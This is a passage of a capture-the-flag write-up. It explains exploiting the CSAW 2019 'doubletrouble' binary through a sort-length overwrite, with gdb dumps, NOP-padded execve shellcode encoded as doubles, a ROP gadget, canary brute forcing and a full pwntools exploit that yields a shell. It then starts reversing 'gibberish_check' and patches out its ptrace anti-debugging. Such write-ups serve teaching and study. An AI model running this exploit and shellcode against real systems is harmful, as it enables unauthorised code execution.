(double)CONCAT44(param_6,param_5))) break;
    *heapQt = *heapQt + 1;
  }
  return *heapQt - iVar1;
}
```

Looking at the code, we can see it dereferences a ptr to `heapQt` and writes a value to it. This is interesting to us, since it will allow us to change the value of `heapQt` , which is then passed as an argument to `sortArray` . Looking at the condition (since `a3` is `-10` and `a4` is `-100`), it appears that a value between `-10` and `-100` will trigger the write (I used `-23`). The write appears to increase the value of `heapQt`. Next up we have the `sortArray` function:

```
undefined4 sortArray(int *heatQt,int ptrArray)

{
  undefined8 uVar1;
  int i;
  int j;

  __x86.get_pc_thunk.ax();
  i = 0;
  while (i < *heatQt) {
    j = 0;
    while (j < *heatQt + -1) {
      if (*(double *)(ptrArray + (j + 1) * 8) < *(double *)(ptrArray + j * 8)) {
        uVar1 = *(undefined8 *)(ptrArray + j * 8);
        *(undefined8 *)(ptrArray + j * 8) = *(undefined8 *)((j + 1) * 8 +
ptrArray);
        *(undefined8 *)(ptrArray + (j + 1) * 8) = uVar1;
      }
      j = j + 1;
    }
    i = i + 1;
  }
  return 1;
}
```

So looking at this function, we can see that it essentially will loop through the first `heapQt` doubles of `ptrArray`. It will compare the value of that double, with the value of the double after it. If the double after it is less than the double before it, it will swap the two. So essentially it just organizes `heapQt` doubles, starting at the start of `ptrArray` from smallest to biggest double.

Exploitation

So we have a bug, where we can overwrite the number of doubles which is sorted in `sortArray`. We also have a stack infoleak, an executable stack, and the ability to write data to the stack. And looking at the stack layout in gdb, we see that `16` bytes after our double array is the return address:

Essentially what we will do is, we will write a greater value to `heapQt` than `64`, that way it will start sorting data past `ptrArray`. Specifically, we will get it to place an address that we want where the return address is stored at `ebp+0x4`, which will give us code execution. We will also need to make sure the sorting algorithm leaves the stack canary in the same place, otherwise the binary will crash before we get code execution.

```
gdb-peda$ x/152x 0xff8969b8
0xff8969b8:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff8969c8:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff8969d8:	0x00000000	0xff820d84	0x00000000	0xc0370000
0xff8969e8:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff8969f8:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896a08:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896a18:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896a28:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896a38:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896a48:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896a58:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896a68:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896a78:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896a88:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896a98:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896aa8:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896ab8:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896ac8:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896ad8:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896ae8:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896af8:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896b08:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896b18:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896b28:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896b38:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896b48:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896b58:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896b68:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896b78:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896b88:	0x00000000	0xff820d84	0x00000000	0xff820d84
0xff896b98:	0x00000000	0xff820d84	0x00000000	0x00000000
0xff896ba8:	0x00000000	0x00000000	0x00000000	0x0804900a
0xff896bb8:	0xff896bd8	0x1d781100	0x0804c000	0xf7f41000
0xff896bc8:	0xff896bd8	0x08049841	0xff896bf0	0x00000000
0xff896bd8:	0x00000000	0xf7d81e81	0xf7f41000	0xf7f41000
0xff896be8:	0x00000000	0xf7d81e81	0x00000001	0xff896c84
0xff896bf8:	0xff896c8c	0xff896c14	0x00000001	0x00000000
0xff896c08:	0xf7f41000	0xf7f7975a	0xf7f91000	0x00000000
gdb-peda$ i f
Stack level 0, frame at 0xff896bd0:
 eip = 0x8049733 in game; saved eip = 0x8049841
 called by frame at 0xff896bf0
 Arglist at 0xff896bc8, args:
 Locals at 0xff896bc8, Previous frame's sp is 0xff896bd0
 Saved registers:
  ebx at 0xff896bc0, ebp at 0xff896bc8, esi at 0xff896bc4, eip at 0xff896bcc
gdb-peda$ x/x $ebp-0xc
0xff896bbc:	0x1d781100
```

So we can see here, an example memory layout of the stack prior to the sorting. We can see that the return address is at `0xff896bcc` (which is `0x8049841`) and the stack canary is at `0xff896bbc` (which is `0x1d781100`). In this instance, my input ends at `0xff896bb4` with `0x0804900a00000000`. Keep in mind, that when evaluating the doubles (which are `8` bytes in memory) the last `4` bytes are stored first, which are followed by the first `4` bytes. For instance.

```
gdb-peda$ p/f 0x0804900a00000000
$1 = 4.8653382194983783e-270
gdb-peda$ p/f 0xff820d8400000000
$2 = -1.5846380065386629e+306
```

We can see that our input largely consists of the values `4.8653382194983783e-270`, which is followed by `-1.5846380065386629e+306`.

We can see that values that start with `0xf` are really small when interpreted as a float. Thus they will float up the stack, while larger float values like `0x8049841` (which is the return address) would get moved to the bottom.

Now to get the return address overwritten, what we can do is we can make the value of `heapQt` that which it extends to two doubles past the return address, which will be the value `69` (hex `0x45`). To get it to this value, I didn't reverse the algorithm to figure out what value gets written. I just noticed that the number of inputs I send before/after `-23` (which triggers the write) influences it, so I just played with it until I got it right.

Proceeding that, we will include three floats which their hex value begins with `0x804`. They will all be less than the value `0x8049841` when converted to a float. The reason for this being, that they should be greater than all values other than the return address (`0x8049841`) which is the same every time, so it will occupy the value before, after, and the same as the return address. Now because the value we have in the return address has to start with `0x804` and be less than `0x8049841`, this limits us to what we can call to certain sections of the code, such as certain ROP gadgets. However we find one that meets our needs:

```
ROPgadget --binary doubletrouble | grep 804900a
0x0804900a : ret
```

This particular rop gadget fits our needs for two reasons. The first is that when converted to a float, it is less than `0x8049841` so it will be before it after the sorting. The second reason is that all it does is just returns. This is beneficial to us, since all it will do is just continue to the next address and execute it, which will be the last `4` bytes of the next double. We can place the stack address of our shellcode (we know it from the stack infoleak, and the stack is executable). With the first four bytes of the double, we can put a value between `0x804900a` and `0x8049841`. That way this double will always come between the actual return address, and `0x804900a`. This will allow us to execute our shellcode on the stack, which we can't simply just push it into the return address spot, since it starts with `0xff` and will just float to the top.

The value that we will have before the `0x804900a` double will be `0x800000000000000`. The reason for this, is it will occupy the spot between the stack canary and the `0x804900a` double. This way, after the sorting, the stack canary will remain in the same spot. Of course, this will only work if the stack canary's value is less than `0x8000000`, but bigger than the previous double. This gives us a range of about 8 different bytes which the stack canary could be which our exploit would work. The thing is since the stack canary is a random value (will the first three bytes for `x86` are, the fourth is always a null byte), and since the position of everything depends on it's value with respect to other floats, we will have to assume that the stack canary is within a certain value in order for our exploit to work. For testing purposes we can just set the stack canary to the value within the range. When we go ahead and run the exploit for real, we can just brute force the canary value we need by running the exploit again and again until we get a stack canary value within the range we need.

The last thing we need to worry about is our shellcode, since we will need to know where it is on the stack to execute it, and we also need to make sure it stays intact and in the correct order after it is sorted. The way I accomplish this is by appending the `0x90` byte a certain amount of time to the front of certain parts of shellcode. This is because when executed `0x90` is the opcode for `NOP` which continues execution and doesn't affect our shellcode in any important way, and it will be evaluated as less than values starting with `0x804` so it won't affect the stack canary or what we did to write over the return address.

However when we insert the NOPs into our shellcode, we will have to rewite/recompile the shellcode. The reason for this, is because if we just insert NOPs into random places, there is a good chance we will insert a NOP in the middle of an instruction, which will change what the instruction does. Also note, the base shellcode I did not write. I grabbed it from `http://shell-storm.org/shellcode/files/shellcode-599.php` and modified it. Also I found that this website which is an online x86/x64 decompiler/compiler helped `https://defuse.ca/online-x86-assembler.htm`:

here is the shellcode before we modified it:

```
0:  6a 17                    push   0x17
2:  58                       pop    eax
3:  31 db                    xor    ebx,ebx
5:  cd 80                    int    0x80
7:  50                       push   eax
8:  68 2f 2f 73 68           push   0x68732f2f
d:  68 2f 62 69 6e           push   0x6e69622f
12: 89 e3                    mov    ebx,esp
14: 99                       cdq
15: 31 c9                    xor    ecx,ecx
17: b0 0b                    mov    al,0xb
19: cd 80                    int    0x80
```

This shellcode is `27` bytes. After we figure out how to split the individual commands up with `\x90` s in a way that the instructions will still execute properly, and after sorting the shellcode will be in the proper order, we get the following segments:

```
0x9101eb51e1f7c931:

0x90909068732f2f68:

0x9090406e69622f68:

0x900080cd0bb0e389:
```

keep in mind, because of how the data is stored, the last four bytes will be executed first. After a lot of trial and error, we see that this is our shellcode:

```
gdb-peda$ x/16i 0xffff7ca0
   0xffff7ca0:    xor    ecx,ecx
   0xffff7ca2:    mul    ecx
   0xffff7ca4:    push   ecx
   0xffff7ca5:    jmp    0xffff7ca8
   0xffff7ca7:    xchg   ecx,eax
   0xffff7ca8:    push   0x68732f2f
   0xffff7cad:    nop
   0xffff7cae:    nop
   0xffff7caf:    nop
   0xffff7cb0:    push   0x6e69622f
   0xffff7cb5:    inc    eax
   0xffff7cb6:    nop
   0xffff7cb7:    nop
   0xffff7cb8:    mov    ebx,esp
   0xffff7cba:    mov    al,0xb
   0xffff7cbc:    int    0x80
```

Also to find the offset from the infoleak to where our shellcode is, we can just run the exploit once with our shellcode, and see where our shellcode ends up in respect to the stack infoleak. When I did this, I found that the offset was `+0x1d8` bytes from the infoleak.

tl ; dr

A quick overview of this challenge

```
*    Program scans in up to 64 doubles, and sorts them from smallest to largest
*    Bug in `findArray` allows us to overwrite the float count with a larger
value, thus when it sorts the doubles, it will sort values past our input,
allowing us to move the return address.
*    Format payload to call rop gadget, then shellcode on the stack using stack
infoleak. The canary has to be within a set range.
*    Format the shellcode to be together after the sorting
*    Brute force the stack canary untill it is within a range that wouldn't
crash our exploit
```

Exploit

putting it all together, we get the following exploit:

```
# Import the libraries
from pwn import *
import struct

# Establish the target
target = process('./doubletrouble')
#gdb.attach(target, gdbscript='b *0x8049733')
#target = remote('pwn.chal.csaw.io', 9002)

# Get the infoleak, calculate the offset to our shellcode
stack = target.recvline()
stack = stack.replace("\x0a", "")
stack = int(stack, 16)
scadr = stack + 0x1d8

# Create the integer we will create, that will be stored as the double after the
ROPgadget 0x804900a, which is the first return address we put
ret = "0x8049010" + hex(scadr).replace("0x", "")
ret = int(ret, 16)

# Scan in some of the input
target.recvuntil("How long: ")


# Establish the four blocks as floats, which make up our shellcode
s1 = "-9.455235083177544e-227"# 0x9101eb51e1f7c931
s2 = "-6.8282747051424842e-229"# 0x90909068732f2f68
s3 = "-6.6994892300412978e-229"# 0x9090406e69622f68
s4 = "-1.3287388429188698e-231"# 0x900080cd0bb0e389
# shellcode does the following:
'''
   0xffff7ca0:    xor    ecx,ecx
   0xffff7ca2:    mul    ecx
   0xffff7ca4:    push   ecx
   0xffff7ca5:    jmp    0xffff7ca8
   0xffff7ca7:    xchg   ecx,eax
   0xffff7ca8:    push   0x68732f2f
   0xffff7cad:    nop
   0xffff7cae:    nop
   0xffff7caf:    nop
   0xffff7cb0:    push   0x6e69622f
   0xffff7cb5:    inc    eax
   0xffff7cb6:    nop
   0xffff7cb7:    nop
   0xffff7cb8:    mov    ebx,esp
   0xffff7cba:    mov    al,0xb
   0xffff7cbc:    int    0x80
'''

# Send the amount of floats we will input, and then send the first 5
target.sendline('64')
for i in range(5):
```

```
    target.sendline('-1.5846380065386629e+306')#0xff820d8400000000

# Send the value which will trigger the bug to write over heapQt
target.sendline('-23')

# Send the rest of the filler floats
for i in range(51):
    target.sendline('-1.5846380065386629e+306')#0xff820d8400000000

# This is the value which will be between the stack canary, and the double which
occupies the return address
target.sendline('3.7857669957336791e-270')#0x0800000000000000

# Send the shellcode blocks
target.sendline(s1)
target.sendline(s2)
target.sendline(s3)
target.sendline(s4)

# Send the double which will reside after the return address double, which will
store the address of our shellcode in the last four bytes.
# We have to convert the int to a float, so it's stored in memory correctly
target.sendline("%.19g" % struct.unpack("<d", p64(ret)))

# Send the double which will occupy the return address with the gadget
0x804900a: ret
target.sendline('4.8653382194983783e-270')#0x804900a00000000

# Drop to an interactive shell
target.interactive()
```

When have to run the exploit several times before it works (due to the fact that we need the first byte of the canary to be in a certain range). But once it is, we get this:

```
$ python exploit.py
[+] Starting local process './doubletrouble': pid 7348
[*] Switching to interactive mode
Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me:
Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me:
Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me:
Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me:
Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me:
Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me:
Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me:
Give me: 0:-1.584638e+306
1:-1.584638e+306
2:-1.584638e+306
3:-1.584638e+306
4:-1.584638e+306
5:-2.300000e+01
6:-1.584638e+306
7:-1.584638e+306
8:-1.584638e+306
9:-1.584638e+306
10:-1.584638e+306
11:-1.584638e+306
12:-1.584638e+306
13:-1.584638e+306
14:-1.584638e+306
15:-1.584638e+306
16:-1.584638e+306
17:-1.584638e+306
18:-1.584638e+306
19:-1.584638e+306
20:-1.584638e+306
21:-1.584638e+306
22:-1.584638e+306
23:-1.584638e+306
24:-1.584638e+306
25:-1.584638e+306
26:-1.584638e+306
27:-1.584638e+306
28:-1.584638e+306
29:-1.584638e+306
30:-1.584638e+306
31:-1.584638e+306
32:-1.584638e+306
33:-1.584638e+306
34:-1.584638e+306
35:-1.584638e+306
36:-1.584638e+306
37:-1.584638e+306
38:-1.584638e+306
39:-1.584638e+306
40:-1.584638e+306
41:-1.584638e+306
```

```
42:-1.584638e+306
43:-1.584638e+306
44:-1.584638e+306
45:-1.584638e+306
46:-1.584638e+306
47:-1.584638e+306
48:-1.584638e+306
49:-1.584638e+306
50:-1.584638e+306
51:-1.584638e+306
52:-1.584638e+306
53:-1.584638e+306
54:-1.584638e+306
55:-1.584638e+306
56:-1.584638e+306
57:3.785767e-270
58:-9.455235e-227
59:-6.828275e-229
60:-6.699489e-229
61:-1.328739e-231
62:4.865363e-270
63:4.865338e-270
Sum:
-88739728366165125028685448406029643546277776677711731866489244413884850397602464
Max: 0.000000
Min:
-15846380065386629469408115786791007776121031549591380690444507931050866142429011
My favorite number you entered is: -23.000000
Sorted Array:
0:-1.584638e+306
1:-1.584638e+306
2:-1.584638e+306
3:-1.584638e+306
4:-1.584638e+306
5:-1.584638e+306
6:-1.584638e+306
7:-1.584638e+306
8:-1.584638e+306
9:-1.584638e+306
10:-1.584638e+306
11:-1.584638e+306
12:-1.584638e+306
13:-1.584638e+306
14:-1.584638e+306
15:-1.584638e+306
16:-1.584638e+306
17:-1.584638e+306
18:-1.584638e+306
19:-1.584638e+306
20:-1.584638e+306
21:-1.584638e+306
22:-1.584638e+306
23:-1.584638e+306
```

```
24:-1.584638e+306
25:-1.584638e+306
26:-1.584638e+306
27:-1.584638e+306
28:-1.584638e+306
29:-1.584638e+306
30:-1.584638e+306
31:-1.584638e+306
32:-1.584638e+306
33:-1.584638e+306
34:-1.584638e+306
35:-1.584638e+306
36:-1.584638e+306
37:-1.584638e+306
38:-1.584638e+306
39:-1.584638e+306
40:-1.584638e+306
41:-1.584638e+306
42:-1.584638e+306
43:-1.584638e+306
44:-1.584638e+306
45:-1.584638e+306
46:-1.584638e+306
47:-1.584638e+306
48:-1.584638e+306
49:-1.584638e+306
50:-1.584638e+306
51:-1.584638e+306
52:-1.584638e+306
53:-1.584638e+306
54:-1.584638e+306
55:-1.584638e+306
56:-7.222777e+269
57:-2.148556e+269
58:-2.300000e+01
59:-9.455235e-227
60:-6.828275e-229
61:-6.699489e-229
62:-1.328739e-231
63:2.120356e-314
64:5.883635e-278
65:3.785767e-270
66:4.865338e-270
67:4.865363e-270
68:4.872934e-270
$ w
 22:11:26 up  3:35,  1 user,  load average: 0.18, 0.11, 0.04
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               16:28   ?xdm?   2:59   0.00s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin
/gnome-session --session=ubuntu
$ ls
core  doubletrouble  exploit.py  readme.md
```

Just like that, we popped a shell!

Csaw 2019 Gibberish Check

Let's take a look at the binary:

```
$    file gibberish_check
gibberish_check: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux
3.2.0, BuildID[sha1]=248693b90a85745125ac4d8241d53503e822a4c7, stripped
$    pwn checksec gibberish_check
[*] '/Hackery/pod/modules/38-grab_bad/csaw19_gibberishCheck/gibberish_check'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./gibberish_check
Find the Key!
15935728
Wrong D:
```

So we can see that we are dealing with a `x64` bit elf (with `PIE`) that scans in input, and check it. When we take a look at the code in ghidra, we see this:

```
/* WARNING: Globals starting with '_' overlap smaller symbols at the same
address */

undefined8 FUN_00101d98(void)

{
  char cVar1;
  int iVar2;
  basic_ostream *this;
  basic_string<char,std--char_traits<char>,std--allocator<char>> *this_00;
  long in_FS_OFFSET;
  allocator<char> local_42d;
  allocator<char> local_42c;
  allocator<char> local_42b;
  allocator<char> local_42a;
  allocator<char> local_429;
  allocator<char> local_428;
  allocator<char> local_427;
  allocator<char> local_426;
  allocator<char> local_425;
  allocator<char> local_424;
  allocator<char> local_423;
  allocator<char> local_422;
  allocator<char> local_421;
  allocator<char> local_420;
  allocator<char> local_41f;
  allocator<char> local_41e;
  allocator<char> local_41d;
  allocator<char> local_41c;
  allocator<char> local_41b;
  allocator<char> local_41a;
  allocator<char> local_419;
  allocator<char> local_418;
  allocator<char> local_417;
  allocator<char> local_416;
  allocator<char> local_415;
  int local_414;
  undefined8 local_410;
  undefined8 local_408;
  undefined *local_400;
  undefined local_3f8 [32];
  basic_string local_3d8 [32];
  basic_string local_3b8 [32];
  basic_string local_398 [32];
  basic_string<char,std--char_traits<char>,std--allocator<char>> local_378 [32];
  char local_358 [32];
  char local_338 [32];
  char local_318 [32];
  char local_2f8 [32];
  char local_2d8 [32];
  char local_2b8 [32];
```

```
  char local_298 [32];
  char local_278 [32];
  char local_258 [32];
  char local_238 [32];
  char local_218 [32];
  char local_1f8 [32];
  char local_1d8 [32];
  char local_1b8 [32];
  char local_198 [32];
  char local_178 [32];
  char local_158 [32];
  char local_138 [32];
  char local_118 [32];
  char local_f8 [32];
  char local_d8 [32];
  char local_b8 [32];
  char local_98 [32];
  char local_78 [32];
  char local_58 [32];
  basic_string<char,std--char_traits<char>,std--allocator<char>> abStack56 [8];
  long local_30;

  local_30 = *(long *)(in_FS_OFFSET + 0x28);
  FUN_00101be1();
  allocator();
                    /* try { // try from 00101de3 to 00101de7 has its
CatchHandler @ 00102950 */
  basic_string((char *)local_378,(allocator *)"dqzkenxmpsdoe_qkihmd");
  allocator();
                    /* try { // try from 00101e16 to 00101e1a has its
CatchHandler @ 0010293c */
  basic_string(local_358,(allocator *)"jffglzbo_zghqpnqqfjs");
  allocator();
                    /* try { // try from 00101e49 to 00101e4d has its
CatchHandler @ 00102928 */
  basic_string(local_338,(allocator *)"kdwx_vl_rnesamuxugap");
  allocator();
                    /* try { // try from 00101e7c to 00101e80 has its
CatchHandler @ 00102914 */
  basic_string(local_318,(allocator *)"ozntzohegxagreedxukr");
  allocator();
                    /* try { // try from 00101eb2 to 00101eb6 has its
CatchHandler @ 00102900 */
  basic_string(local_2f8,(allocator *)"xujaowgbjjhydjmmtapo");
  allocator();
                    /* try { // try from 00101ee8 to 00101eec has its
CatchHandler @ 001028ec */
  basic_string(local_2d8,(allocator *)"pwbzgymqvpmznoanomzx");
  allocator();
                    /* try { // try from 00101f1e to 00101f22 has its
CatchHandler @ 001028d8 */
  basic_string(local_2b8,(allocator *)"qaqhrjofhfiuyt_okwxn");
  allocator();
```

```
                    /* try { // try from 00101f54 to 00101f58 has its
CatchHandler @ 001028c4 */
  basic_string(local_298,(allocator *)"a_anqkczwbydtdwwbjwi");
  allocator();
                    /* try { // try from 00101f8a to 00101f8e has its
CatchHandler @ 001028b0 */
  basic_string(local_278,(allocator *)"zoljafyuxinnvkxsskdu");
  allocator();
                    /* try { // try from 00101fc0 to 00101fc4 has its
CatchHandler @ 0010289c */
  basic_string(local_258,(allocator *)"irdlddjjokwtpbrrr_yj");
  allocator();
                    /* try { // try from 00101ff6 to 00101ffa has its
CatchHandler @ 00102888 */
  basic_string(local_238,(allocator *)"cecckcvaltzejskg_qrc");
  allocator();
                    /* try { // try from 0010202c to 00102030 has its
CatchHandler @ 00102874 */
  basic_string(local_218,(allocator *)"vlpwstrhtcpxxnbbcbhv");
  allocator();
                    /* try { // try from 00102062 to 00102066 has its
CatchHandler @ 00102860 */
  basic_string(local_1f8,(allocator *)"spirysagnyujbqfhldsk");
  allocator();
                    /* try { // try from 00102098 to 0010209c has its
CatchHandler @ 0010284c */
  basic_string(local_1d8,(allocator *)"bcyqbikpuhlwordznpth");
  allocator();
                    /* try { // try from 001020ce to 001020d2 has its
CatchHandler @ 00102838 */
  basic_string(local_1b8,(allocator *)"_xkiiusddvvicipuzyna");
  allocator();
                    /* try { // try from 00102104 to 00102108 has its
CatchHandler @ 00102824 */
  basic_string(local_198,(allocator *)"wsxyupdsqatrkzgawzbt");
  allocator();
                    /* try { // try from 0010213a to 0010213e has its
CatchHandler @ 00102810 */
  basic_string(local_178,(allocator *)"ybg_wmftbdcvlhhidril");
  allocator();
                    /* try { // try from 00102170 to 00102174 has its
CatchHandler @ 001027fc */
  basic_string(local_158,(allocator *)"ryvmngilaqkbsyojgify");
  allocator();
                    /* try { // try from 001021a6 to 001021aa has its
CatchHandler @ 001027e8 */
  basic_string(local_138,(allocator *)"mvefjqtxzmxf_vcyhelf");
  allocator();
                    /* try { // try from 001021dc to 001021e0 has its
CatchHandler @ 001027d4 */
  basic_string(local_118,(allocator *)"hjhofxwrk_rpwli_mxv_");
  allocator();
                    /* try { // try from 00102212 to 00102216 has its
```

```
CatchHandler @ 001027c0 */
  basic_string(local_f8,(allocator *)"enupmannieqqzcyevs_w");
  allocator();
                    /* try { // try from 00102248 to 0010224c has its
CatchHandler @ 001027ac */
  basic_string(local_d8,(allocator *)"uhmvvb_cfgjkggjpavub");
  allocator();
                    /* try { // try from 0010227e to 00102282 has its
CatchHandler @ 00102798 */
  basic_string(local_b8,(allocator *)"gktdphqiswomuwzvjtog");
  allocator();
                    /* try { // try from 001022b4 to 001022b8 has its
CatchHandler @ 00102784 */
  basic_string(local_98,(allocator *)"lgoehepwclbaifvtfoeq");
  allocator();
                    /* try { // try from 001022ea to 001022ee has its
CatchHandler @ 00102770 */
  basic_string(local_78,(allocator *)"nm_uxrukmof_fxsfpcqz");
  allocator();
                    /* try { // try from 00102320 to 00102324 has its
CatchHandler @ 0010275c */
  basic_string(local_58,(allocator *)"ttsbclzyyuslmutcylcm");
  FUN_00102e5a(&local_408);
                    /* try { // try from 0010236a to 0010236e has its
CatchHandler @ 0010271a */
  FUN_00102eda(local_3f8,local_378,0x1a,&local_408);
  FUN_00102e76(&local_408);
  this_00 = abStack56;
  while (this_00 != local_378) {
    this_00 = this_00 + -0x20;
    ~basic_string(this_00);
  }
  ~allocator((allocator<char> *)&local_410);
  ~allocator(&local_415);
  ~allocator(&local_416);
  ~allocator(&local_417);
  ~allocator(&local_418);
  ~allocator(&local_419);
  ~allocator(&local_41a);
  ~allocator(&local_41b);
  ~allocator(&local_41c);
  ~allocator(&local_41d);
  ~allocator(&local_41e);
  ~allocator(&local_41f);
  ~allocator(&local_420);
  ~allocator(&local_421);
  ~allocator(&local_422);
  ~allocator(&local_423);
  ~allocator(&local_424);
  ~allocator(&local_425);
  ~allocator(&local_426);
  ~allocator(&local_427);
  ~allocator(&local_428);
```

```
  ~allocator(&local_429);
  ~allocator(&local_42a);
  ~allocator(&local_42b);
  ~allocator(&local_42c);
  ~allocator(&local_42d);
                    /* try { // try from 0010253a to 00102553 has its
CatchHandler @ 001029bd */
  this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"Find the
Key!");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--
char_traits<char>>);
  basic_string();
  local_414 = 0;
                    /* try { // try from 0010257e to 00102601 has its
CatchHandler @ 001029a9 */
  operator>><char,std--char_traits<char>,std--allocator<char>>((basic_istream
*)cin,local_3d8);
  local_400 = local_3f8;
  local_410 = FUN_00102fd8(local_400);
  local_408 = FUN_00103020(local_400);
  while( true ) {
    cVar1 = FUN_0010306c(&local_410,&local_408,&local_408);
    if (cVar1 == '\0') break;
    FUN_001030c8(&local_410);
    basic_string(local_3b8);
                    /* try { // try from 00102616 to 0010261a has its
CatchHandler @ 00102995 */
    basic_string((basic_string *)local_378);
                    /* try { // try from 0010262f to 00102633 has its
CatchHandler @ 00102981 */
    basic_string(local_398);
                    /* try { // try from 00102648 to 0010264c has its
CatchHandler @ 0010296d */
    iVar2 = FUN_0010164a(local_398,local_378,local_378);
    local_414 = local_414 + iVar2;
    ~basic_string((basic_string<char,std--char_traits<char>,std--
allocator<char>> *)local_398);
    ~basic_string(local_378);
    ~basic_string((basic_string<char,std--char_traits<char>,std--
allocator<char>> *)local_3b8);
    FUN_001030a8(&local_410);
  }
  if ((_FUN_0010164a & 0xff) == 0xcc) {
                    /* try { // try from 001026b3 to 001026de has its
CatchHandler @ 001029a9 */
    puts("Rip");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  if (local_414 == 0x1f9) {
    FUN_00101b83();
    FUN_00101c62();
  }
```

```
  else {
    FUN_00101bb2();
  }
  ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>>
*)local_3d8);
  FUN_00102f94(local_3f8);
  if (local_30 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

One thing of immediate importance is the function `0x101be1` :

```
void FUN_00101be1(void)

{
  long lVar1;
  char local_9;

  local_9 = '\0';
  lVar1 = ptrace(PTRACE_TRACEME,0,1,0);
  if (lVar1 == 0) {
    local_9 = '\x02';
  }
  lVar1 = ptrace(PTRACE_TRACEME,0,1,0);
  if (lVar1 == -1) {
    local_9 = local_9 * '\x03';
  }
  if (local_9 != '\x06') {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  return;
}
```

This function essentially uses `PTRACE` to make it harder to debug the binary. However we can just patch out it's function call with nop instructions to prevent it from running, so we can debug the binary.

After we patch out the anti-debugging functionality with just nop instructions (`0x90` s), this is what the code looks like:

```
/* WARNING: Globals starting with '_' overlap smaller symbols at the same
address */

undefined8 FUN_00101d98(void)

{
  char cVar1;
  int checkOutput;
  basic_ostream *this;
  basic_string<char,std--char_traits<char>,std--allocator<char>> *this_00;
  long in_FS_OFFSET;
  allocator<char> local_42d;
  allocator<char> local_42c;
  allocator<char> local_42b;
  allocator<char> local_42a;
  allocator<char> local_429;
  allocator<char> local_428;
  allocator<char> local_427;
  allocator<char> local_426;
  allocator<char> local_425;
  allocator<char> local_424;
  allocator<char> local_423;
  allocator<char> local_422;
  allocator<char> local_421;
  allocator<char> local_420;
  allocator<char> local_41f;
  allocator<char> local_41e;
  allocator<char> local_41d;
  allocator<char> local_41c;
  allocator<char> local_41b;
  allocator<char> local_41a;
  allocator<char> local_419;
  allocator<char> local_418;
  allocator<char> local_417;
  allocator<char> local_416;
  allocator<char> local_415;
  int check;
  undefined8 local_410;
  undefined8 local_408;
  undefined *local_400;
  undefined local_3f8 [32];
  basic_string local_3d8 [32];
  basic_string local_3b8 [32];
  basic_string string [32];
  basic_string<char,std--char_traits<char>,std--allocator<char>> inp0 [32];
  char local_358 [32];
  char local_338 [32];
  char local_318 [32];
  char local_2f8 [32];
  char local_2d8 [32];
  char local_2b8 [32];
```

```
  char local_298 [32];
  char local_278 [32];
  char local_258 [32];
  char local_238 [32];
  char local_218 [32];
  char local_1f8 [32];
  char local_1d8 [32];
  char local_1b8 [32];
  char local_198 [32];
  char local_178 [32];
  char local_158 [32];
  char local_138 [32];
  char local_118 [32];
  char local_f8 [32];
  char local_d8 [32];
  char local_b8 [32];
  char local_98 [32];
  char local_78 [32];
  char local_58 [32];
  basic_string<char,std--char_traits<char>,std--allocator<char>> abStack56 [8];
  long local_30;

  local_30 = *(long *)(in_FS_OFFSET + 0x28);
  allocator();
                    /* try { // try from 00101de3 to 00101de7 has its
CatchHandler @ 00102950 */
  basic_string((char *)inp0,(allocator *)"dqzkenxmpsdoe_qkihmd");
  allocator();
                    /* try { // try from 00101e16 to 00101e1a has its
CatchHandler @ 0010293c */
  basic_string(local_358,(allocator *)"jffglzbo_zghqpnqqfjs");
  allocator();
                    /* try { // try from 00101e49 to 00101e4d has its
CatchHandler @ 00102928 */
  basic_string(local_338,(allocator *)"kdwx_vl_rnesamuxugap");
  allocator();
                    /* try { // try from 00101e7c to 00101e80 has its
CatchHandler @ 00102914 */
  basic_string(local_318,(allocator *)"ozntzohegxagreedxukr");
  allocator();
                    /* try { // try from 00101eb2 to 00101eb6 has its
CatchHandler @ 00102900 */
